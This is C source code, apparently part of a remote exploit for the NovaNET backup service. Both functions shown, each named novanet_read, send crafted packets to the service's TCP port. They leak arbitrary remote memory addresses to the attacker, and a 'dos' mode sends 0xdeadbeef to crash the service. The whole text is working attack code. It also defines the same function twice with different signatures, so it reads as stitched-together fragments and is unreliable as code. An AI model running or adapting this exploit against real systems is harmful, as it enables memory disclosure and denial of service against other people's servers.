static int novanet_read (char *host, void *start, void *dst) { fd_set r_fds; struct timeval tv; int fd, n; char buf[NOVANET_PKT_SZ], rbuf[NOVANET_PKT_SZ]; novanet_read_pkt_init (buf); start = (void *) NOVANET_CALC_INT (start); fd = sockami (host, NOVANET_TCP_PORT); if (fd == -1) { fprintf (stderr, "novanet_read: sockami failed\n"); exit (EXIT_FAILURE); } NOVANET_SET_INT (buf, (unsigned int) start); if ((n = sock_send (fd, buf, sizeof buf)) != NOVANET_PKT_SZ) { fprintf (stderr, "novanet_read: sock_send returned %d (!= %d)\n", n, NOVANET_PKT_SZ); return (0); } FD_ZERO (&r_fds); FD_SET (fd, &r_fds); tv.tv_sec = 4; /* wait 4 seconds */ tv.tv_usec = 0; n = select (fd + 1, &r_fds, NULL, NULL, &tv); if (n == -1) { fprintf (stderr, "novanet_read: select() - %s\n", strerror (errno)); exit (EXIT_FAILURE); } else if (n) { if ((n = sock_recv (fd, rbuf, sizeof rbuf)) != NOVANET_PKT_SZ) { fprintf (stderr, "novanet_read: sock_recv returned %d (!= %d)\n", n, NOVANET_PKT_SZ); return (0); } } else { fprintf (stderr, "novanet_read: select timeout, we may have crashed NovaNET :(\n"); exit (EXIT_FAILURE); } memcpy (dst, &rbuf[NOVANET_INT_IDX], sizeof (void *)); usleep (USLEEP_TIME); close (fd); return (1); }
static void novanet_read (char *host, void *start, void *end, int is_dos) { int sock, i, num_hits; char buf[BUF_SIZE], rbuf[BUF_SIZE]; novanet_pkt_init (buf); start = (void *) NOVANET_CALC_INT (start); end = (void *) NOVANET_CALC_INT (end); if (!is_dos) printf ("start: %p end: %p\n", start, end); num_hits = is_dos ? 1 : (end - start); printf ("+hitting %s:%d. (%d times)\n", host, NOVANET_TCP_PORT, num_hits); for (i = 0; i < num_hits; i++, start++) { sock = sockami (host, NOVANET_TCP_PORT); if (sock == -1) break; NOVANET_SET_INT (buf, (is_dos ? NOVANET_CALC_INT (0xdeadbeef) : (unsigned int) start)); sock_send (sock, buf, sizeof buf); if (!is_dos) { sock_recv (sock, rbuf, sizeof rbuf); write (fileno (stderr), &rbuf[NOVANET_INT_IDX], sizeof (int)); usleep (USLEEP_TIME); close (sock); if (!((i + 1) % 8)) printf ("..%d", i + 1); fflush (stdout); } } printf ("\n"); }